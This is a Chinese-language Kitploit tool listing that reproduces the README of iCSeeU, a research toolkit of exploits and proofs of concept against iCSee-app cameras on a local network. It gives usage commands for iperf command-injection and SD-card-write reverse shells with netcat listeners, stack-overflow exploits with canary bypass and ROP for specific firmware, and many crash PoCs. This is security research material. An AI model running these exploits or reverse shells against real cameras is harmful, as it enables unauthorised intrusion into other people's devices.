Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
iCSeeU — 这是一套针对使用 iCSee 应用的摄像头的工具/PoC/漏洞利用集。是的——它可以运行 NES 游戏! | Kitploit
工具/GitHubGitHub/lr-m/icseeu
嵌入式系统安全物联网安全漏洞利用逆向工程调试器模糊测试CTF硬件安全论文与研究学习与教育固件分析二进制利用
141年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
lr-m/icseeu

iCSeeU

这是一套针对使用 iCSee 应用的摄像头的工具/PoC/漏洞利用集。是的——它可以运行 NES 游戏!

查看仓库

这是一套可用的工具/PoC/漏洞利用程序,用于通过局域网(LAN)控制iCSee视频通话摄像头(也可能适用于非视频通话摄像头)。该工具可轻松用于刷写替代固件,以替代SD卡更新方法。

注意: 任何内存破坏漏洞利用仅在摄像头的固件版本为 V5.00.R02.000949U5.10000.141324.0000010 或 V5.00.R02.000807E5.10000.346724.0000010 时有效——这些漏洞利用依赖于固定的偏移量,而偏移量随每次固件构建而变化。

博客

[0] 枚举、拆解与固件提取

[1] 学习摄像头的语言

[2] 发现无用的整数溢出 + 一些有用的漏洞

[3] 栈溢出之死 + Canary 趣事

[4] 利用所有漏洞

[5] 不同摄像头,相同应用

[6] 证实 + 第二个摄像头上的完整内存破坏漏洞利用

[7] 在摄像头上模拟 NES 游戏

依赖

  • pycryptodome:用于 RSA 登录加密
  • pwntools:用于 shellcode
  • pyftpdlib:用于 FTP 服务器
  • pynput:用于 NES 键盘输入

功能

get_system_info

此功能使用 get_system_info 方法通过端口 34567 获取摄像头信息。

root@kitploit:~
python3 icseeu.py get_system_info
root@kitploit:~
{
  "Name": "SystemInfo",
  "Ret": 100,
  "SessionID": "0x0001869f",
  "SystemInfo": {
    "AlarmInChannel": 0,
    "AlarmOutChannel": 0,
    "AudioInChannel": 1,
    "BuildTime": "2024-06-27 10:33:41",
    "CombineSwitch": 0,
    "DeviceModel": "IPC_GK7201V300_G2-WR-V_S38",
    "DeviceRunTime": "0x000026c6",
    "DeviceType": 7,
    "DigChannel": 0,
    "EncryptVersion": "Unknown",
    "ExtraChannel": 0,
    "HardWare": "IPC_GK7201V300_G2-WR-V_S38",
    "HardWareVersion": "Unknown",
    "Pid": "A909409U5000000N",
    "SerialNo": "bf7816d59506ec06",
    "SoftWareVersion": "V5.00.R02.000949U5.10000.141324.0000010",
    "TalkInChannel": 1,
    "TalkOutChannel": 1,
    "UpdataTime": "",
    "UpdataType": "0x00000000",
    "VideoInChannel": 1,
    "VideoOutChannel": 1
  }
}

ftp_get_logs

利用残留的文本功能从设备拉取日志(日志保存在 FTPTestDir/Test 中)。

root@kitploit:~
python3 icseeu.py ftp_get_logs

漏洞利用

gdb_revshell

利用 SD 卡文件写入漏洞以及 iperf 二进制执行漏洞,该漏洞允许远程执行 SD 卡上的二进制程序,从而获取一个反向 Shell 并启动 GDB 调试器,附加到主 App 进程。

终端 1:

root@kitploit:~
nc -l 1234

终端 2:

root@kitploit:~
python3 icseeu.py gdb_revshell

终端 3:

root@kitploit:~
gdb-multiarch
gef-remote 192.168.188.2 8888

注意: 不要停止程序超过 30 秒,否则看门狗会报错,App 进程将重启!

注意 2: 你可能需要修改载荷(GDB_Revshell/remote_mgmt.c)中硬编码的 IP 地址为你计算机在局域网中的 IP,并重新编译载荷。

gdb_revshell_inject

利用 SD 卡文件写入漏洞以及 iperf 命令注入漏洞,该漏洞允许远程执行 SD 卡上的二进制程序,从而获取一个反向 Shell 并启动 GDB 调试器,附加到主 App 进程。

此方法适用于已存在 iperf 二进制程序的设备,从而避免使用其他方法。

终端 1:

root@kitploit:~
nc -l 1234

终端 2:

root@kitploit:~
python3 icseeu.py gdb_revshell_inject

终端 3:

root@kitploit:~
gdb-multiarch
gef-remote 192.168.188.2 8888

注意: 不要停止程序超过 30 秒,否则看门狗会报错,App 进程将重启!

注意 2: 你可能需要修改载荷(GDB_Revshell/remote_mgmt.c)中硬编码的 IP 地址为你计算机在局域网中的 IP,并重新编译载荷。

iperf_inject_exploit

利用 iperf 命令注入建立反向 Shell。

终端 1:

root@kitploit:~
nc -l 1234

终端 2:

root@kitploit:~
python3 icseeu.py iperf_inject_exploit

注意: 你可能需要修改载荷(Revshell_Inject/remote_mgmt.c)中硬编码的 IP 地址为你计算机在局域网中的 IP,并重新编译载荷。

GOKE GK7201 栈溢出漏洞利用

这是针对消息类型 0x7d8 处理函数中第二个栈溢出的漏洞利用。此溢出很有趣,因为它允许我们绕过栈 canary 并获取执行权限。

在使用这些漏洞利用前,你需要构建调度器载荷(在 PayloadDispatcher 目录下运行 make),并通过在对应目录(例如 ImageDisplay)下运行 make 来构建要在摄像头上运行的载荷。

注意:

  • 摄像头的固件版本必须是 V5.00.R02.000949U5.10000.141324.0000010(我无法保证对其他版本有效)

screenflash

通过闪烁屏幕演示我们拥有代码执行能力。

root@kitploit:~
python3 icseeu.py exploit_goke screenflash

rgb

通过闪烁 RGB 颜色演示我们能够控制屏幕。

root@kitploit:~
python3 icseeu.py exploit_goke rgb

imagedisplay

利用文件写入上传原始 RGB 5:6:5 图像,运行 ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565 -f rawvideo image.raw 处理目录中的图像,以在 ImageDisplay 目录下生成 image.raw 文件(此操作对于以下功能是必需的)。图像将显示在屏幕上。

root@kitploit:~
python3 icseeu.py exploit_goke imagedisplay

buttontest

演示我们能够读取按钮状态,当检测到任意按钮被按下时闪烁某种颜色。

root@kitploit:~
python3 icseeu.py exploit_goke buttontest

pong

一个极简的 Pong 游戏实现,演示我们能够控制屏幕和前面板上的按钮,同时也展示了一个稍复杂的载荷。

root@kitploit:~
python3 icseeu.py exploit_goke pong

nes

一个移植的 NES 模拟器,可以播放放置在 GOKE_Payloads/nes 目录下的 rom.nes 文件。在 GOKE_Payloads/nes/smolnes 和 GOKE_Payload/nes 目录下运行 make 以生成二进制文件。

root@kitploit:~
python3 icseeu.py exploit_goke nes

XM530V200WX1 栈溢出漏洞利用

这是针对另一个摄像头上的栈溢出漏洞的利用,该摄像头没有栈 canary,但有 NX。我编写了一个 ROP 链来 pivoting 栈并执行一个大型 ROP 链,该 ROP 链映射可执行内存,将文件内容加载到内存中,生成一个线程执行该内容,然后修复栈状态并继续执行。

在使用这些漏洞利用前,你需要构建载荷,在对应目录(例如 ImageDisplay)下运行 make。

注意:

  • 此漏洞利用相当不可靠,大约只有 40-50% 的成功率(由于未知原因,它完全不喜欢生成线程)。
  • 摄像头的固件版本必须是 V5.00.R02.000807E5.10000.346724.0000010(我无法保证对其他版本有效)

screenflash

通过闪烁屏幕演示我们拥有代码执行能力。

root@kitploit:~
python3 icseeu.py exploit_xm530 screenflash

rgb

通过闪烁 RGB 颜色演示我们能够控制屏幕。

root@kitploit:~
python3 icseeu.py exploit_xm530 rgb

imagedisplay

利用文件写入上传原始 RGB 5:6:5 图像,运行 ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565be -f rawvideo image.raw 处理目录中的图像,以在 ImageDisplay 目录下生成 image.raw 文件(此操作对于以下功能是必需的)。图像将显示在屏幕上。

root@kitploit:~
python3 icseeu.py exploit_xm530 imagedisplay

PoC

这些概念验证的更多细节(及其根本原因)请参阅本 README 顶部的博客。

integer_underflow_http

此 PoC 因 HTTP 服务器中的整数下溢导致崩溃。

root@kitploit:~
python3 icseeu.py integer_underflow_http

iperf_run

此 PoC 将执行 SD 卡上 iperf/iperf 中存储的文件(可以是 ash 脚本或二进制文件)。

root@kitploit:~
python3 icseeu.py iperf_run

iperf_inject

此 PoC 将通过命令注入执行 reboot 命令,SD 卡上必须存在 iperf/iperf 文件才能生效。

root@kitploit:~
python3 icseeu.py iperf_inject

assert_trigger_0x41a

此 PoC 因 0x41a 消息类型处理函数中的大分配触发断言(导致崩溃)。

root@kitploit:~
python3 icseeu.py assert_trigger_0x41a

integer_overflow_0x41a

此 PoC 因整数溢出导致 0x41a 消息处理函数中出现异常的越界读取,从而触发崩溃。

root@kitploit:~
python3 icseeu.py integer_overflow_0x41a

stack_overflow_0x43a

此 PoC 因 0x43a 消息处理函数中的栈溢出导致崩溃。

root@kitploit:~
python3 icseeu.py stack_overflow_0x43a

stack_overflow_0x438_1

此 PoC 因 0x438 消息处理函数中的第一个栈溢出导致崩溃。

root@kitploit:~
python3 icseeu.py stack_overflow_0x438_1

stack_overflow_0x438_2

此 PoC 因 0x438 消息处理函数中的第二个栈溢出导致崩溃。

root@kitploit:~
python3 icseeu.py stack_overflow_0x438_2

stack_overflow_0xdac

此 PoC 因 0xdac 消息处理函数中的栈溢出导致崩溃。

root@kitploit:~
python3 icseeu.py stack_overflow_0xdac

stack_overflow_0x5a4

此 PoC 因 0x5a4 消息处理函数中的栈溢出导致崩溃。

root@kitploit:~
python3 icseeu.py stack_overflow_0x5a4

stack_overflow_0x414

此 PoC 因 0x414 消息处理函数中的栈溢出导致崩溃。

root@kitploit:~
python3 icseeu.py stack_overflow_0x414

stack_overflow_0x410_1

此 PoC 因 0x410 消息处理函数中的第一个栈溢出导致崩溃。

root@kitploit:~
python3 icseeu.py stack_overflow_0x438_1

stack_overflow_0x410_2

此 PoC 因 0x410 消息处理函数中的第二个栈溢出导致崩溃。

root@kitploit:~
python3 icseeu.py stack_overflow_0x410_2

stack_overflow_0x5a8

此 PoC 因 0x5a8 消息处理函数中的栈溢出导致崩溃。

root@kitploit:~
python3 icseeu.py stack_overflow_0x5a8

stack_overflow_0x41e

此 PoC 因 0x41e 消息处理函数中的栈溢出导致崩溃。

root@kitploit:~
python3 icseeu.py stack_overflow_0x41e

stack_overflow_0x7d8_1

此 PoC 因 0x7d8 消息处理函数中的第一个栈溢出导致崩溃。

root@kitploit:~
python3 icseeu.py stack_overflow_0x7d8_1

stack_overflow_0x7d8_2

此 PoC 因 0x7d8 消息处理函数中的第二个栈溢出导致崩溃。

root@kitploit:~
python3 icseeu.py stack_overflow_0x7d8_2

stack_overflow_0x8a6

此 PoC 因 0x8a6 消息处理函数中的栈溢出导致崩溃(并非所有摄像头都存在此类型)。

root@kitploit:~
python3 icseeu.py stack_overflow_0x8a6
下载工具